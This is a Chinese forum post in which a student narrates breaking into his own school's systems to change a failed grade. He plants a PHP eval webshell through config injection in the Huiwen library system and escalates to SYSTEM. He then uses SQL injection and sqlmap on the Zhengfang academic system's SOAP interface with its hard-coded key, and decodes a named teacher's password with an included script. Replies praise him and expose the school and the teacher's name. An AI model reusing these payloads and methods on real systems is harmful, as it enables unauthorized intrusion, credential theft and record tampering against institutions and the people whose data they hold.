用户
搜索
  • TA的每日心情

    昨天 13:21
  • 签到天数: 35 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋签约作家

    Rank: 7Rank: 7Rank: 7

    14

    主题

    71

    帖子

    2022

    魔法币
    收听
    0
    粉丝
    22
    注册时间
    2015-11-20

    签约作者

    发表于 2017-1-12 15:53:29 386194
    本帖最后由 Binghe 于 2017-1-15 05:55 编辑

    前言:
    论坛好久没看到实战文章,我来写一篇。


    那真是一个悲伤的故事。

    1484204302175.png


    我始终不明白我一个计网专业的学生为什么要学电路。有一个逃课特别多的孩子,老师给了60分,竟然过了。我这边53分挂科。


    这我就不开心了。呵呵。只做测试,不改成绩。


    学校主站给教务查询系统加了一个链接,但通过此处打开教务处,页面全是静态,不能很好的进行测试。猜想在内网内可以,通过教务地址访问。

    于是转移目标,先来从图书馆下手,等拿下图书馆,从图书馆代理过去搞。

    图书馆乃开源的汇文图书管理系统,敏感信息泄露,呵呵哒:


    A6F12E38-4A38-4187-A1A1-8F51A72FEFA6.png

    文件包含漏洞:

    F6E83C20-C581-4A7E-9FB2-174C35EF5FD7.png

    登入之后这边可以看到当前连接的数据库的一些信息:

    5696A489-E421-48E2-8F11-C25A0864FA0E.png


    至此我们可以随意修改图书管理系统的配置。

    根据开源代码分析,发现更新配置时代码未做过滤,
    [AppleScript] 纯文本查看 复制代码
    unction write_para( $strFileName, $strPara )
    {
    $fhandle = fopen( $strFileName, "wb" );
    if ( $fhandle )
    {
    $strPara = "<?php\n".$strPara."\n?>";
    if ( fwrite( $fhandle, $strPara ) )
    {
    fclose( $fhandle );
    $strMsg = "数据修改成功。";
    }
    else
    {
    $strMsg = "数据修改失败。";
    }
    }
    else
    {
    $strMsg = "数据修改失败。";
    }
    return $strMsg;
    }

    这样我们可以再在配置文件里插入任意内容,我们可以配置文件里追加一句话;

    在配置全文索引文件夹路径时,修改
    c:/hwopac/index/


    c:/hwopac/index/";@eval($_POST['123']);//

    更新过配置后,内容保存在的配置文件为:
    /include/hwopacpwd.php

    于是连接`URL+/include/hwopacpwd.php`即可得到一句话webshell。

    下面两个图片是在乌云看到的案例:

    1484195885554.png

    1484196100373.png

    然而,我们学校图书馆的更新页面却是这样:

    1484196004954.png

    握草,怎么会这样。那还真是个悲伤的故事。。。

    猜想是运维人员在乌云看到相关案例,删除了该表单。表单被删,貌似无解。

    后来抽根烟想了想,能不能去网上找一个一样的系统,然后抓取修改那个修改的POST表单,google了一番,没找到可以利用的。

    于是想到自己在页面构造添加表单,如下图的文本输入框:


    审查元素插入如下标签:
    <dd><input size="20" name="fulltextPath" value="c:/hwopac/index/";@eval($_POST['123']);//" type="text"></dd

    1484196425128.png

    此处的表单name值是通过源码审计看到的,案例中也有提现。

    我们提交表单抓POST包,发现`fulltextPath`的值已经被提交:

    1484197697638.png

    测试连接`/include/hwopacpwd.php`,没有连接上:

    1484197902669.png

    我们再来看下这个图,仔细看,

    1484196100373.png

    你会发现其实不只是`fulltextPath`的值没有被加密,`user`的值也没有加密,同样可以被替换,于是淫荡的思路来了:

    `POST`表单`user`值填写为:

    libsys";@eval($_POST['123']);//

    1484198345709.png

    提交之后,即可菜刀连接`/include/hwopacpwd.php`,GOOD JOB!

    1484198697536.png


    恶意代码确实如此写入:

    1484198634229.png

    提权略过,直接`SYSTEM`:

    1484205870134.png


    教务系统部署在内网的某台机器,为了防止外部攻击,他们做了一个外部的接口,所有页面静态化,很是蛋疼,我使用上述图书馆的机器对内网的教务机器进行了一通扫描,终于找到了他的实际地址:

    1484199065621.png

    正方教务系统同样提供了各类查询接口,我此处利用`service.asmx`的`BMCheckPassword`接口的注入:

    官方给出了如下规范的POST数据包:
    [AppleScript] 纯文本查看 复制代码
    POST /service.asmx HTTP/1.1
    Host: [url]www.baidu.com[/url]
    Content-Type: text/xml; charset=utf-8
    Content-Length: 784
    SOAPAction: "http://www.zf_webservice.com/BMCheckPassword"
    
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="http://tempuri.org/" xmlns:types="http://tempuri.org/encodedTypes" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <q1:BMCheckPassword xmlns:q1="http://www.zf_webservice.com/BMCheckPassword">
          <strYHM xsi:type="xsd:string">string</strYHM>
          <strPassword xsi:type="xsd:string">string</strPassword>
          <xh xsi:type="xsd:string">string</xh>
          <strKey xsi:type="xsd:string">KKKGZ2312</strKey>
        </q1:BMCheckPassword>
      </soap:Body>
    </soap:Envelope>

    上述`sKey = "KKKGZ2312"`为常量,有了`sKey`就可以去查询一些接口了。

    `strYHM`表示用户名,我已经吓哭,好像都是用拼音:

    1484201752154.png

    此处没做过滤,直接构造语句使用Intruder模块:
    jwc01' and (SELECT SUBSTR(TO_CHAR(KL),1,1) from yhb where yhm='jwc01')='a

    1484201798709.png


    `payoad`为:`a-z`、`A-Z`、`0-9`、`~!@#$%^&*()_+[]{}\|<>:"';`


    1484201910462.png


    不知为何用BurpSuite跑起来很慢。。

    1484202337988.png

    我把POST数据包复制出来交给SQLMAP:
    python sqlmap.py -r post.txt

    1484202625924.png

    GOOD JOB!
    [14:31:40] [INFO] fetching tables for databases: 'CTXSYS, DBSNMP, DMSYS, EXFSYS, MDSYS, OLAPSYS, ORDSYS, OUTLN, SCOTT, SYS, SYSMAN, SYSTEM, TSMSYS, WMSYS, XDB, ZFXFZB'
    [14:31:40] [INFO] the SQL query used returns 3389 entries

    那么问题来了,几千个表,怎么找教师用户密码的表?幸亏我拼音好:

    1484202865901.png

    我挂科的是电子电工,老师叫张X,姓名对应的字段为XM,这拼音拼的啊。。。
    这就好办了,用`--sql-shell`查询:
    select * from "YHB" where XM = '张X';

    1484203500528.png

    恩~,得到密文为`U_rBKJ`,这是经过正方的特殊加密的,我们用python脚本解开:
    [AppleScript] 纯文本查看 复制代码
    # python
    # coding=utf-8
    
    import sys
    
    def crack_zhengfang( pwdhash, key="Encrypt01" ):
      len_passwd = len( pwdhash )
      len_key = len( key )
      pwdhash = pwdhash[: len_passwd/2][::-1] + pwdhash[len_passwd/2 :][::-1]
      passwd = ''
      Pos = 0
      for i in xrange( len_passwd ):
          Pos %= len_key
          Pos += 1
          strChar = pwdhash
          KeyChar = key[Pos-1]
          ord_strChar = ord( strChar )
          ord_KeyChar = ord( KeyChar )
          if not 32 <= ( ord_strChar ^ ord_KeyChar ) <= 126 or not 0 <= ord_strChar <= 255:
              passwd += strChar
          else:
              passwd += chr( ord_strChar ^ ord_KeyChar )
      return passwd
    
    if __name__ == '__main__':
      if len(sys.argv) != 2:
        print "Usage: crackZF.py passwdhash"
        sys.exit(1)
      else:
        print "Password:", crack_zhengfang( pwdhash=sys.argv[1], key="Encrypt01" )
    promote pythonDemo v5est0r$ python zhengfang.py "U_rBKJ"
    Password: 716822


    1484203674481.png

    `Password: 716822`

    接着登入该老师的教务系统,录入成绩。。。

    1484203961024.png

    录入成绩需要密码,密码??? 我根据官方给出的录入成绩密码字段没查到密码啊。。。空的也不行。

    FF58E062-7C5A-49FD-B31F-8A597B9B395D.png

    不急,慢慢来。

    太悲伤了,补考估计也会挂掉,太悲伤了。



    本帖被以下淘专辑推荐:

    Only the code will always follow me.
    发表于 2017-1-12 16:58:59
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!

    奖金点评
    100其中的渗透技巧使用的非常灵巧,整篇文章思路清晰,下次加油。

    Hacking the earth
    使用道具 举报 回复
    正方系统感觉好难弄啊! 我朋友学校的正方 网上好多方法都不管用都提示ERROR - 出错啦!错误原因:系统正忙!



    请重新登陆,如无法解决,请稍后再试。



    【关 闭】
    这个
    使用道具 举报 回复
    只想表示楼主是苏州职业信息技术学院,关键信息隐藏的不够好,两分钟就找到了,希望楼主下次藏的好一点
    使用道具 举报 回复
    RcoIl 发表于 2017-1-12 21:18
    你们图书馆网站打不开  = =

    应该需要内网才可以
    你所浪费的今天,是昨天死去的人奢望的明天。
    使用道具 举报 回复
    RcoIl 发表于 2017-1-12 13:18
    你们图书馆网站打不开  = =

    不会又漏点了吧。。
    Only the code will always follow me.
    使用道具 举报 回复
    发表于 2017-1-12 16:01:16
    厉害厉害  已报警
    使用道具 举报 回复
    发表于 2017-1-12 16:34:02
    哈哈,表哥威武,收藏
    使用道具 举报 回复
    给你过了还不开心。。看看我的成绩单。。今年怎么回去过年。。
    使用道具 举报 回复
    发表于 2017-1-12 16:46:33
    牛逼未毕业能做到这样
    使用道具 举报 回复
    发表于 2017-1-12 16:58:48
    把这篇文章拿给老师看说不定会过。
    苟非吾之所有,虽一毫而莫取
    使用道具 举报 回复
    发表于 2017-1-12 17:10:46
    张艳  信息暴露了 哈哈哈。
    使用道具 举报 回复
    发表于 2017-1-12 17:14:03
    江小白 发表于 2017-1-12 09:10
    张艳  信息暴露了 哈哈哈。

    打码是一门艺术
    Only the code will always follow me.
    使用道具 举报 回复
    思路很棒啊啊啊
    使用道具 举报 回复
    求后续~哈哈哈
    使用道具 举报 回复
    羡慕你是计算机系大学生。
    使用道具 举报 回复
    发表于 2017-1-12 21:18:48
    你们图书馆网站打不开  = =
    使用道具 举报 回复
    123下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册